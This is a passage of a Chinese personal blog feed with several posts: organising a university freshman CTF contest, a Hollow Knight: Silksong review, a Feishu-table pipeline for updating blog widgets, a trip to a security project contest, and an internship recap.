&lt;p&gt;接手了信安协会会长一职。虽然我已经很久没有碰安全相关的东西，但奈何 23 级也确实没啥人搞安全，为了维持协会「不死」，还是需要这个名头挂着。（其实 HNU 的协会大多都这样，学校如果再不给予多点支持的话，未来是否还会有学生社团都是个问题🤨）&lt;/p&gt;
&lt;p&gt;这次比赛的起因可以说是十分潦草。&lt;/p&gt;
&lt;p&gt;当 9.2 左右最开始被告知要办一场 ctf 新生赛时，我的第一反应是认为新成立了网安学院，学院对信安协会的支持力度变大了，心中幻想着接手协会后美好的未来——直到多读了几行文字后：最迟都要在 9.20 号办出来，要响应国家的网络安全周，需要交一些照片上去。&lt;/p&gt;
&lt;p&gt;果然不能对学校抱有什么不切实际的幻想😑。&lt;/p&gt;
&lt;p&gt;但我们还是需要为这碟醋包这盘饺子，于是只能紧急拉了 l1uyun、Moyuin 学妹 以及 Lucian 学弟组成“草台班子”，需要筹备平台、预算、奖品、出题等一系列活动。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/09/3bb75a423f9139913b1e755323e9c322.jpg&quot; alt=&quot;是的，我们真的叫“草台班子”&quot;&gt;&lt;/p&gt;
&lt;h3&gt;预算&lt;/h3&gt;
&lt;p&gt;办之前最担心的是预算问题，要知道，去年的 ctf 新生赛的奖金到现在都还没发到我手上。并且如果走计财处那边的流程的话会很麻烦，经常需要去和她们扯嘴皮，我最烦这种事情。&lt;/p&gt;
&lt;p&gt;结果最后被老师告知此次比赛的资金网安院会直接出，不需要走什么周转流程，让我大大地舒了一口气。&lt;/p&gt;
&lt;p&gt;当然，在没有领到我应得的劳务费之前，我是不会对这个报销环节有任何好评的😤。&lt;/p&gt;
&lt;h3&gt;平台&lt;/h3&gt;
&lt;p&gt;值得庆幸的是，由于去年 l1uyun 已经办过一次新生赛，将当时比赛平台运行时的镜像都保存了下来，所以平台的部署很方便，仅仅需要个服务器，放上去 docker-compose 一把梭即可。再加上大家基本都有服务器运维经验，使得该流程是这几个环节中最顺利的一步。&lt;/p&gt;
&lt;p&gt;最近我还在尝试为该平台开发一个 agent （主要目的其实是熟悉个开发框架），这样明年部署完就可以自动推送通知和检查作弊了，也许明年部署起来会更加容易。不过明年是否还有这个比赛还是个问题...总而言之，我只做好我该做的。&lt;/p&gt;
&lt;h3&gt;奖品&lt;/h3&gt;
&lt;p&gt;奖品这次也十分方便，没有像上次那样大规模的采购。院里的老师将以前收赞助积压在院内的奖品搬了出来当奖品——2020年的 360 的耳机...咸鱼上目前售价 30 （甚至没有二等奖的航天水杯贵...)。但这不关我事了，一等奖和二等奖也不是我决定的😂，希望领到的学弟学妹们不要在意。&lt;/p&gt;
&lt;p&gt;最后我在麓山文创那边购置了一些 HNU 文创，作为热身赛以及三等奖的奖品，让我没有想到的是，大家对于 HNU 的抱枕意外的感兴趣。发完奖品后恰好还剩下来五个马克杯给我们这些筹备比赛的人员，也算是一种奇妙的缘分。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/09/%E9%A9%AC%E5%85%8B%E6%9D%AF.webp&quot; alt=&quot;马克杯&quot;&gt;&lt;/p&gt;
&lt;h3&gt;出题&lt;/h3&gt;
&lt;p&gt;出题是本次环节中最麻烦的一环。因为这是一个面向新生的比赛，参加这个比赛的时候，他们才刚开学一个周，可能有人距离第一次敲下 hello, world 才几天，所以我们出题肯定不能出太难，于是整个比赛就奔着趣味计算机科普小游戏去了（&lt;/p&gt;
&lt;p&gt;我本次比赛一共出了 4 道题，两道 misc 和两道 reverse （然后就被 chy 学长狠狠拷打了😭，我只是嫌麻烦懒得在 mac 上验题而已，原谅我这个这么久没碰逆向的人吧）。&lt;/p&gt;
&lt;p&gt;龙猫和有点重的图片都是非常简单的 misc 题。本着让大家可以用 ai 就能一下子做出来的原则，也就没有刻意地再去套密码学的内容了。&lt;/p&gt;
&lt;p&gt;两道 reverse 也是随便水的，按着我之前做过一两周 reverse 的经历。第一道 ida f5 或者 string 查找一下对应的字符一下子就可以做出来。&lt;/p&gt;
&lt;p&gt;而第二道则因为本身没考虑过加密算法，算法是让 ai 随机生成的一个异或加密，于是就发生 hash 碰撞了，每一轮异或撞出来的 hash 理论上都可以通过验证，所以许可证密钥 plus 就成了一道废题。不过还好除了 chy 学长之外，并没有人发现这个错误，所以在紧急下掉这个题目后倒也没有引起什么大的问题，就当这是我草台班子的证明吧。&lt;/p&gt;
&lt;p&gt;除此之外，由于 osint 的题目实在太难出了，所以我们沿用了去年的 see_see_need 的出题思路，重出了一道 see_see_need_again，现在访问 /flag 页面依然可以看到那个虚假的 flag，所以这真的不是夹带私货，纯粹是出题困难了🥺。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/image-20250926224701644.png&quot; alt=&quot;去年的 0sint&quot;&gt;&lt;/p&gt;
&lt;h3&gt;wp以及颁奖：&lt;/h3&gt;
&lt;p&gt;验收 wp 本身没有什么值得细讲的，我能看出来大家都是用 ai 复制粘贴上来糊弄的，这其中有一部分我们没有提前告知需要提交 wp 的原因，另外就是大家没有参加过 ctf，不知道提交 wp 也是比赛的一环，我觉得是可以理解的。这其实也和我糊弄某些课程的报告一样，交着 ai 胡诌一通的报告，根本不考虑报告本身的逻辑。也算是让参赛的学弟学妹们提前体验了一下糊弄老师的感觉？但也无所谓了，往后这种事还多着呢......&lt;/p&gt;
&lt;p&gt;颁奖更是彰显了我们是一个不折不扣的草台班子。&lt;/p&gt;
&lt;p&gt;教室是临时被赶去的，横幅是提前 15 min 挂上去的，电脑是没有带的（其实是带了，但是临时换的教室的投影仪没有 c 口连不上 mac...），邀请的指导老师是没有来的，奖品是遗漏了一些在寝室没有带来的，上去讲的东西完全是没有底稿随便一通乱讲的...&lt;/p&gt;
&lt;p&gt;总而言之，一切的一切似乎都和预想有一些出入，但从结果来看，一切又似乎是不错的——至少我成功包完了这盘“饺子”。&lt;/p&gt;
&lt;h3&gt;插曲与结语：&lt;/h3&gt;
&lt;p&gt;在办这个新生赛的过程中，我在寻找思路的时候偶然间逛到了&lt;a href=&quot;https://wiki.xyxsw.site/&quot;&gt;杭电的 wiki&lt;/a&gt;以及看了 Moyuin 学妹发在群里的学长的&lt;a href=&quot;https://mo-xiaoxi.github.io/2016/05/30/HnuSec/&quot;&gt;博客&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;我看到他写下的一句话:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这或许就是我大一的真实写照：随波逐流，一个我个人最不喜欢的标签。随波逐流地伪装着学习，随波逐流地参加社团，随波逐流地逃课，随波逐流地开始晚睡…. 不胜枚举。&lt;/p&gt;
&lt;p&gt;这大抵就是我想建立一个关于信安交流群的初衷，让更多的大一的同学能在想了解一些专业学习情况时，有更方便的途径来向他人请教，抑或各位优秀的学姐学长，抑或各位博学的老师。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这句话十分打动我，而热情是相互感染的。所以我也心血来潮的在群里发了 &lt;a href=&quot;https://hnusec.org/&quot;&gt;HNU wiki&lt;/a&gt; 这种想法，并且也带动了大家的热情，于是大家就建立了这个目前看起来很简略的 wiki 站。&lt;/p&gt;
&lt;p&gt;当然了，我不敢保证未来这个 wiki 站会怎样。毕竟在学长学姐那边的投稿征集也并不顺利，而每个人的热情永远是有限且会枯竭的，但我觉得如果它能帮到或者说启发激励了一些人就已经达到了我的目的了。&lt;/p&gt;
&lt;p&gt;“A small effort will make a big difference.” 我高中英语老师经常念叨着这句话，而词汇量匮乏的我也经常将它写进作文，现在看来确实是有道理的。&lt;/p&gt;
&lt;p&gt;我自己也许成不了 hacker 了，但如果能看到一个学弟学妹能因为我们办的新生赛萌生了一颗成为 hacker 的心——那我觉得这次新生赛的目的就完全达到了。&lt;/p&gt;
&lt;p&gt;这大概就是本次新生赛夹带的所有私货了。&lt;/p&gt;
&lt;p&gt;或许还有些别的，但谁在乎呢？反正我的任期 kpi 已经结束了✌️。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;空洞骑士：丝之歌：&lt;/h2&gt;
&lt;p&gt;作为一个十分喜欢空洞骑士的玩家，我在丝之歌出的第一时间购买了这款游戏（其实并非第一时间，被卡在 steam 购买界面足足 2h 🥲）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/09/98e71db931113162fa57126b7ada0abd.webp&quot; alt=&quot;没看攻略四处瞎逛导致的&quot;&gt;&lt;/p&gt;
&lt;p&gt;虽然本作的难度在网上饱受诟病，但有着前作经验的我还是算比较顺利的打完了，漫无目的的四处乱逛（最开始不看攻略是这样的），享受探索的乐趣。&lt;/p&gt;
&lt;p&gt;是的，我喜欢这类类银河恶魔城游戏最主要的原因就是探索。或者说不断的新鲜感，去到不同的地图，挑战不同的 boss，观察游戏的细节，然后还原整个游戏的故事。&lt;/p&gt;
&lt;p&gt;游戏中刻画的细节很打动我，例如朝圣这个主题，我们可以看到谢尔码一路从骸底镇走到起源终殿，最终对圣堡祛魅；能见证加蒙德以及扎扎感人肺腑的友情；也可以看到机枢舞者随着音乐的变奏起舞和在最后一幕落寞的演出，除此之外，类似于圣堡里富豪遍地，而圣堡工厂里的工人均掉不了”几个子”，并且一直咳嗽不停...这些都让我觉得 team cherry 有在认真打磨这款游戏，也不枉费我等了它 4 年。&lt;/p&gt;
&lt;p&gt;没有意外的话，丝之歌应该是我的年度游戏了（虽然今年本身也没有玩几个游戏😂）。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Me? :&lt;/h2&gt;
&lt;p&gt;如果你正在读这篇博客，那么应该可以注意到正上方顶部的导航栏正中间有一个名为 「Me」 的页面， 这个页面是我基于&lt;a href=&quot;https://cry.sadcoder.me/blog/%E5%9F%BA%E4%BA%8E%E9%A3%9E%E4%B9%A6%E5%A4%9A%E7%BB%B4%E8%A1%A8%E6%A0%BC%E8%AE%BE%E8%AE%A1%E7%9A%84%E6%9B%B4%E6%96%B0%E7%BB%84%E4%BB%B6%E6%96%B9%E6%A1%88&quot;&gt;上一篇博客&lt;/a&gt;提到的方法所构建的，实现上稍微加了一点个人风味，但大差不差。&lt;/p&gt;
&lt;p&gt;之所以构建这个页面，是因为我很想做一个&lt;strong&gt;自我解构&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;从根本上来讲，我是很难定义“我”的。所以与其说我是一个怎样的人，也许展示&lt;strong&gt;我与这个世界发生了怎样的联系&lt;/strong&gt;是更好描述“我”的方法。&lt;/p&gt;
&lt;p&gt;博客对于我而言是一个表达和连接的地方，我通过表达在这里认识了一些很有意思的朋友，所以我希望借 「Me」 这个页面 Connect 更多有趣的人。&lt;/p&gt;
&lt;p&gt;因为如果对 「Me」 页面有所共鸣，那么至少证明我们跟世界有着一段相同的联系。而大多数时候，我们表达也只是为了筛选一些和自己灵魂相似、志趣相同的人，所以对于我来说，构建了这个 「Me」 页面，更像是邀请别人进入一个碎片迷宫来拼凑一个 Cry（是不是很有一种魂类游戏的叙事感😂）。&lt;/p&gt;
&lt;p&gt;除此之外，一个人的兴趣也会随着时间流动，因此我在 「Me」 页面展示的也只是我最近正在阅读或者观看的内容，如果持续更新，它就会动态记录下我的整个变化，也许我最近看文学，而后就变成了社科和经济等书籍，「Me」 页面的变化也就能反映出我在不同阶段的兴趣与爱好，满足了这个博客记录的意义，并且从观察连续的时间线来审视自己也是一件很有意思的事。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;最近在看：&lt;/h2&gt;
&lt;p&gt;《命运石之门》：也许会考虑写一篇观后感，&lt;s&gt;虽然目前第一季都还没看完&lt;/s&gt;（在写完的时候已经看完了），但已经想写很多东西了。&lt;/p&gt;
&lt;p&gt;吉卜力工作室的电影：宫崎骏的动画小时候看很温馨，长大了更温馨有趣！&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;忙于各类学习，拖了这么久也差不多～&lt;/p&gt;</content:encoded><category>week</category></item><item><title>基于飞书多维表格设计的更新组件方案</title><link>https://cry4o4n0tfound.cn/blog/%E5%9F%BA%E4%BA%8E%E9%A3%9E%E4%B9%A6%E5%A4%9A%E7%BB%B4%E8%A1%A8%E6%A0%BC%E8%AE%BE%E8%AE%A1%E7%9A%84%E6%9B%B4%E6%96%B0%E7%BB%84%E4%BB%B6%E6%96%B9%E6%A1%88/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/%E5%9F%BA%E4%BA%8E%E9%A3%9E%E4%B9%A6%E5%A4%9A%E7%BB%B4%E8%A1%A8%E6%A0%BC%E8%AE%BE%E8%AE%A1%E7%9A%84%E6%9B%B4%E6%96%B0%E7%BB%84%E4%BB%B6%E6%96%B9%E6%A1%88/</guid><pubDate>Wed, 17 Sep 2025 21:13:46 GMT</pubDate><content:encoded>&lt;h2&gt;从消失的书架组件说起：&lt;/h2&gt;
&lt;p&gt;如果之前也访问过这个博客的朋友应该有印象，之前的 homepage 页有一个书架栏目，里面展示了我正在阅读的一些书目，一开始我原本尝试从微信读书找接口，看看有没有能比较方便一键导出的方案，结果，微信还是一如既往的封闭生态🥲（致敬微信公众号），没有现成的方案可以使用，如果想要从这方面着手的话，还得逆向调试接口，这太麻烦了...实在懒得折腾。于是博客上的书架就一直没更新，前段时间也就顺手去掉这个组件了。&lt;/p&gt;
&lt;p&gt;除此之外，homepage 的游戏展示组件也会有请求限额问题，由于是直接从 steam 的官方接口拉取的图片（其实现在想来完全可以下载到本地存储），steam 本身的接口请求次数有限制，与此同时，经由 vercel 的话会消耗每月的图片额度。所以不得不调高缓存时间，减少拉取次数，也就导致了有人问我：&quot;为什么在 steam 上看两周在线时长和博客页面不一样。&quot; 答案是缓存...而且我设置的缓存过期时间还很长，于是就会出现博客上显示在线，而 steam 上却是离线的诡异对比。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/09/01cb9b062dd9ee4c2eaa6196db22db1b.jpg&quot; alt=&quot;请求过多即会导致&quot;&gt;&lt;/p&gt;
&lt;p&gt;当然，我大可以设计一套 api 接口交给我的 vps 来运行请求，但我觉得这就失去了静态博客的意义（虽然接入了 supabase 之后也不能完全算静态）。所以就一直这样得过且过的放着，反正作为一个基本没什么人访问的小站点倒也足够正常运转。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;基于飞书多维表格的设计：&lt;/h2&gt;
&lt;p&gt;解决方案总是在无意中遇到😂。前些天在筹备 ctf 新生赛瞎逛的时候，意外逛到了&lt;a href=&quot;https://www.lapis.cafe/posts/technicaltutorials/feishu-amazon-astro/#3github-action-%E5%AE%9A%E6%9C%9F%E5%90%8C%E6%AD%A5%E8%84%9A%E6%9C%AC&quot;&gt;时歌&lt;/a&gt;大佬的博客，看到了它基于飞书多维表格的书架设计，原理大概是:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;在飞书上新建多维表格，放入自己需要的信息 -&gt;  github action 触发，通过飞书开放平台提供的 api 获取 json 信息 -&gt; 将其存储在根目录的 public 文件里 -&gt;  action 将对应的更改 commit 提交 -&gt; vercel 监视到分支发生变化，触发重新构建
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是一个非常有创意的方案！&lt;/p&gt;
&lt;p&gt;飞书的每一个云文档都有自己对应的  app_token，而在每一个云文档里建的表又具有对应的 table_id ，从而可以让每个信息做到一一对应。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/09/1cabe762ac3d9f9a88a85180b91af3b8.jpg&quot; alt=&quot;唯一的base&quot;&gt;&lt;/p&gt;
&lt;p&gt;这就类似于一个数据库中对应有多张表，但这个数据库是免费的云上数据库，并且表格本身的编辑相较于其余的编辑格式也轻松许多，上传编辑等功能都由飞书团队为你埋单。&lt;/p&gt;
&lt;p&gt;所以作为一个缝合了众多风格的 blog，我就同样照抄了这一版方案，当然，添加了一些自己的实现，主要是将 blog api 聚合在一起，完善了一些类型规范检测，相较于原先的 py 脚本，基于 go 的实现能保证类型正确，不会因为奇怪的字符而引起程序崩溃。&lt;/p&gt;
&lt;p&gt;以后的资源可以考虑直接从官方 api 直接下载，比如 steam 上的图片（当然，飞书新建一张表也只是多添加一个 table_id 然后遍历的事情）。从而可以让整个博客资源统一控制在一个地方，只要字节和微软不倒闭，那么整个流程基本是完全免费的，同时飞书本身也是一个非常好用的产品，我目前也正在将自己的笔记和知识库迁移到云文档上，不愧是一个部门一万多人...
&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/09/c959f8fb0fdf945fd2ef6a753ce06219.jpg&quot; alt=&quot;飞书的 go sdk，设计的非常...冗长&quot;&gt;&lt;/p&gt;
&lt;p&gt;完整实现在：&lt;a href=&quot;https://github.com/cry0404/BlogApi&quot;&gt;https://github.com/cry0404/BlogApi&lt;/a&gt; ，不过这里只有拉取信息的脚本，需要结合博客本身的目录来写 github actions 的 workflow。
我会在之后一段时间把一些平台 api 接口，例如 bilibili 和 steam 补齐，工作量不是很大，也许很快就能完工。&lt;/p&gt;
&lt;p&gt;如果你对这类实现感兴趣，也可以复用我的代码来实现一个定时更新的书架组件（其实只要动态更新的组件均可）。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;一些启发：&lt;/h2&gt;
&lt;p&gt;除了本身构建自己博客组件的启发外，此次阅读时歌的博客还给了我另外的启发——产品的需求。他基于这个方案，为一个外贸电商打造了站点。&lt;/p&gt;
&lt;p&gt;引用他在博客里提到的一句话&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;对于客户而言&lt;/strong&gt;，他们获得了一个无需任何技术背景、像编辑 Excel 一样直观的内容管理后台。增删商品、更换轮播图、调整网站文案，都只是在熟悉的表格里填填改改，学习成本几乎为零。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;对于我（开发者）而言&lt;/strong&gt;，前端（Astro）与数据源（飞书）完全分离。我只需要关心如何优雅地展示 JSON 数据，而无需为内容管理系统的开发、部署和维护操心。这种分工让整个项目的迭代和维护变得异常清晰和高效。&lt;/p&gt;
&lt;p&gt;从最初用飞书管理个人书架，到现在支撑起了一个完整的电商网站，这套 飞书多维表格数据源+Github  Action+Astro框架等静态站点的方案无疑展现了其高度的灵活性。它证明了我们可以利用手边成熟、易用的工具，通过一点胶水代码，创造出专业、稳定且对非技术人员极其友好的解决方案。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;基于此，我目前对于市场所需要的产品又有了新的认识，除非是完全革新的角度，让大家不得不去学习新的东西来适应，不然大多数人还是会更喜欢自己平常熟悉的东西来构建，这跟我写代码偏向 go 和 rust 而不愿意去写 py 是一个道理——人都喜欢用自己熟悉的。&lt;/p&gt;
&lt;p&gt;这也是我认为那些低代码平台注定无法普及大众的原因，例如 coze 、dify，抑或是 n8n，他们的思维依旧是程序员思维，而没有深入到最底下人的需求——我只是想编辑下 excel 、写个 word 就能得到我想要的。毕竟，大多数的学习并不是自己本身想去学习，很多时候，我们很难做到 Just Study for Fun。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注：此项目的思路来自于 &lt;a href=&quot;https://www.lapis.cafe/posts/technicaltutorials/feishu-amazon-astro/#3github-action-%E5%AE%9A%E6%9C%9F%E5%90%8C%E6%AD%A5%E8%84%9A%E6%9C%AC&quot;&gt;时歌&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><category>小玩具</category></item><item><title>Memos 13:-信安作品赛游记</title><link>https://cry4o4n0tfound.cn/blog/memos-13-%E4%BF%A1%E5%AE%89%E4%BD%9C%E5%93%81%E8%B5%9B%E6%B8%B8%E8%AE%B0/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-13-%E4%BF%A1%E5%AE%89%E4%BD%9C%E5%93%81%E8%B5%9B%E6%B8%B8%E8%AE%B0/</guid><pubDate>Sat, 16 Aug 2025 20:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;简介：&lt;/h2&gt;
&lt;p&gt;这两周基本都在忙信安作品赛的事情，直到今天，这个在 3月 weekly 中提到的比赛终于告一段落了，在经历过这次比赛后，我可以肯定的是，我再也不会因为好奇而参加大学中类似的 ppt 大赛了。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;选题与进决赛：&lt;/h2&gt;
&lt;p&gt;我们作品赛的题目是：双模态 CoT 后门： LLM/VLM 具身智能的知识图谱增强攻防。是不是听起来显得很高大上？实际上仅仅是提示词注入再加上一些简单的清洗...大概就是样本对抗一类的东西，反正技术含量不是很大。选这个题目的创新点在于用了 vlm...以及结合具身智能，总而言之，选什么题本身不重要，重要的是是一定要做“前人没做过的东西”，无论这个创新点或大或小，&lt;strong&gt;只能&lt;/strong&gt;做前人没做过的东西。以及一定要蹭当下最热的热点——于是你可以在这次比赛中见到无数的 llm，我们自然也不例外。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/08/f8ecc1cdeb7f95a5f00d76e0a66d107e.jpg&quot; alt=&quot;数数这里面有多少 llm 有关的&quot;&gt;&lt;/p&gt;
&lt;p&gt;整个比赛充满了无数 llm 相关的内容，越是往下越是多，毕竟有了 llm 很好做一些忽悠的事情，而这个比赛在我看来本质上就是在 25 min 内如何忽悠评委（详见下文）。我估计评委回去估计都不想再听到多模态等关键字了，换谁都得听吐。&lt;/p&gt;
&lt;p&gt;老实说，在做这个选题方面的内容时，我压根没想到能进决赛。尤其是作为主要程序的设计者之一——自己写的什么东西还能不清楚？但事情就是这么戏剧性——就是进了决赛，还是 HNU 唯一的队伍🤣。也正因此，有了这次作品赛游记，让我可以去西安&lt;s&gt;旅游&lt;/s&gt;比赛&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;去还是不去：&lt;/h2&gt;
&lt;p&gt;而在知道进决赛之后，我们这个团队也充分彰显了草台班子的本色。先是另外两位同学告诉我，他们很有可能要去参加夏令营从而没有时间，拜托我让我一个人去——当时我就差直接退赛了。&lt;/p&gt;
&lt;p&gt;之后在做了很长的心理建设后勉强答应，然后在规划行程时，被告知有可能不报销费用（HNU 还能再穷一点不？)...指导老师的原话是，需要拿一等奖才报销，二等奖三等奖按比例报销。事后诸葛亮来看，我们这个优胜奖是不是还得倒贴点钱给他（&lt;/p&gt;
&lt;p&gt;所幸在我表达会因此退赛后，指导老师还是非常慷慨地规定了严格的每天限额，让我们放心的去，是的，这里又变成我们了，另外一位同学终于在比赛前两天明确了自己会来参加比赛。&lt;/p&gt;
&lt;p&gt;就这样，作品赛终究还是没有变成 cry 的孤独游记，并且从之后的经历来看，如果我真的一个人去的话，我真的会疯...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/08/3868cf76bbdb0aac1e89e3c90a6e3427.jpg&quot; alt=&quot;到此一游&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;决赛：&lt;/h2&gt;
&lt;p&gt;决赛本身的设计我觉得也很迷惑。整个汇报时间差不多就 25 min，包含了 8min 的 ppt， 7min 的演示， 8min 的答辩以及零散的准备时间。我一开始都觉得 31 页报告怎么可能讲得完，怎么能在这么短的时间里真正讲清楚一个作品，讲清楚它的设计思路和它究竟是因为什么诞生的，这显然是不现实的。但另外一位打印报告的同学告诉我，他看到一个队伍打印了 152 页，于是整个决赛进入了我完全无法理解的范畴...&lt;/p&gt;
&lt;p&gt;决赛场地和准备时间也非常匮乏。报到是前一天到的，每个队伍在现场的调试时间基本不超过 5min，因为队伍数量太多，300 多队，这么多队伍要在 2 天内比完。所以我们只能草草拷贝了 ppt，没有时间调试机械臂，这也导致了第二天上午（也与签位有关，抽到第一天早上对于比赛是极为不利的，但对于旅游是十分有利的😂）机械臂连接失败——场地内的有线网口和教室内的无线网不在同一个网段，从而汇报中只能放一个草率的演示视频，为什么说草率呢，因为据另一位同学说，他也压根没想到能进决赛，录制的时候都是随便录的，主打一个机械臂跑起来了就录进去。&lt;/p&gt;
&lt;p&gt;因此当天早上整个汇报的画风变成了： 我在一旁装作很忙的调试——因为知道调试不好，但是不能直接了当说机械臂运转不了；另外一位同学边播放视频边向着底下的老师介绍视频中的机械臂到底在做什么，显得很没有说服力。除了作品本身的问题外，作为忽悠本身的汇报也没有成功忽悠住老师，得优胜奖也就不意外了。&lt;/p&gt;
&lt;p&gt;所以一结束我们就开始规划旅游行程了😎。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;比赛之外：&lt;/h2&gt;
&lt;p&gt;在第一天早上比完之后我们基本确定了能获得优胜奖，就开始进入旅游模式了。我之前来过一次西安，但上次因为天气过于炎热没有去成兵马俑，这次算弥补了遗憾。&lt;/p&gt;
&lt;p&gt;暑期的景区还是很符合我的想象的：&lt;/p&gt;
&lt;p&gt;上面的人比下面的 “人” 多多了😂。&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/08/4c281b76b16c80efc4de4f6f817af5fd.jpg&quot; alt=&quot;上面下面都只能看到人头&quot;&gt;&lt;/p&gt;
&lt;p&gt;兵马俑本身很震撼，两千年前的东西能刻画的如此逼真，以及做到如此大的规模，确实称得上奇迹。可惜的是排队体验真的太差了，人太过拥挤，景点还是适合在淡季的时候观赏。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/08/1a7e119fcbdb92192ba42574343cec65.jpg&quot; alt=&quot;铜绿也算上色了&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;总结：&lt;/h2&gt;
&lt;p&gt;正如我开始所提到的，&lt;strong&gt;我不会再在剩下的两年时间内参与任何大学内这些所谓的竞赛了&lt;/strong&gt;。在完整经历过这一次比赛后，以及他人的一些评述后，我基本看清了这些比赛的获奖配方：精心制作的 ppt 搭配上一个会忽悠的汇报人再加上一个有着很硬关系的指导老师 = 高名次。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;真正具有价值的作品应该是由市场来检验的&lt;/strong&gt;，而不应该是那些坐在评委席上的评委，作品赛本身就是一个伪命题。&lt;/p&gt;
&lt;p&gt;相较于这些比赛，我需要的是去接触一些贴近于实际的东西。&lt;/p&gt;
&lt;p&gt;就这样，下周就该回长沙了，已经拿到了一些在长沙的中小厂面试（互联网荒漠长沙...想投大厂都找不到投的地方），要开始狠狠补算法和八股了。&lt;/p&gt;
&lt;p&gt;另：将博客中所有的 weekly 切换成了 Memos，相较于周记，还是 Memos 的形式更适合我🥺&lt;/p&gt;</content:encoded><category>week</category></item><item><title>Just for Fun</title><link>https://cry4o4n0tfound.cn/blog/just-for-fun/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/just-for-fun/</guid><description>Just for Fun✨</description><pubDate>Mon, 04 Aug 2025 12:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;消失的日子：&lt;/h2&gt;
&lt;p&gt;消失了一个月左右，这一月左右都在 &lt;a href=&quot;https://xiaolab.net&quot;&gt;Xiaolab&lt;/a&gt; 实习，在这实习的尾声里（虽然发布比较迟就是了...），我还是想记录这一段有趣且充实的时光，夹杂着这段时间里的思考。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/08/d32891955c25c2bfd8e3f38116b599f7.jpg&quot; alt=&quot;回家的路上1&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;实习：&lt;/h2&gt;
&lt;p&gt;虽然将其称作“实习”，但就其最初的出发点而言，这只是肖老师的心血来潮——让这些他上课上的连连叹气的本科生来体验一下 🐮🐴 生活，也仅仅是体验，毕竟用他最初的话来讲：“压根就没指望我们能做出什么。”&lt;/p&gt;
&lt;p&gt;所以我也是抱着体验的态度来参加这次“实习”。幸运的是，遇到了&lt;a href=&quot;https://www.wangziyi.site&quot;&gt;子一&lt;/a&gt;学长，作为一名老字节人，他成功带我们体验了一把“字节实习生“的感觉。每天的日报例会，还有周总结，再加上最后结束时的每个人的一对一交谈。除了没有对齐字节的 OKR 之外，感觉自己真的有在大厂实习的感觉...🥲&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/08/8d8fe2e22d4d4960bc00f77c2318fad2.jpg&quot; alt=&quot;回去的路上2&quot;&gt;&lt;/p&gt;
&lt;p&gt;在这样的状态下，我们最后还是做出了一些小成果。从最开始的做需求评审，写选型文档，再到开发讨论，以及最后的整体测试，可以说是完整体验了一波生产流程。实际过程中遇到了很多困难，例如需求文档阅读不仔细导致需要推翻重写，以及前后端沟通同步不及时引起的理解偏差...这些对于我来说都是很宝贵的经验。&lt;/p&gt;
&lt;p&gt;相较于开发本身带来的学习，更为宝贵的是和同组同学的交流。作为一个不太擅长于沟通和看起来就很不好相处（他人语😔）的人，我在大学期间和别人真正合作的时间是很少的。真正经历了一场合作之后，有值得信赖的同伴的感觉还是不错的——最最最为重要的是每天中午都能拼好饭（，成功吃遍了麓山南路😋，可惜我没有手机先吃的记录习惯，一张照片也没留下，不过记忆尚存，下学期还能接着吃。&lt;/p&gt;
&lt;p&gt;总而言之，这场实习是过去两年内最棒的一个月。感谢肖老师的心血来潮，也感谢同组的各位和子一学长。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;关于博客与记录：&lt;/h2&gt;
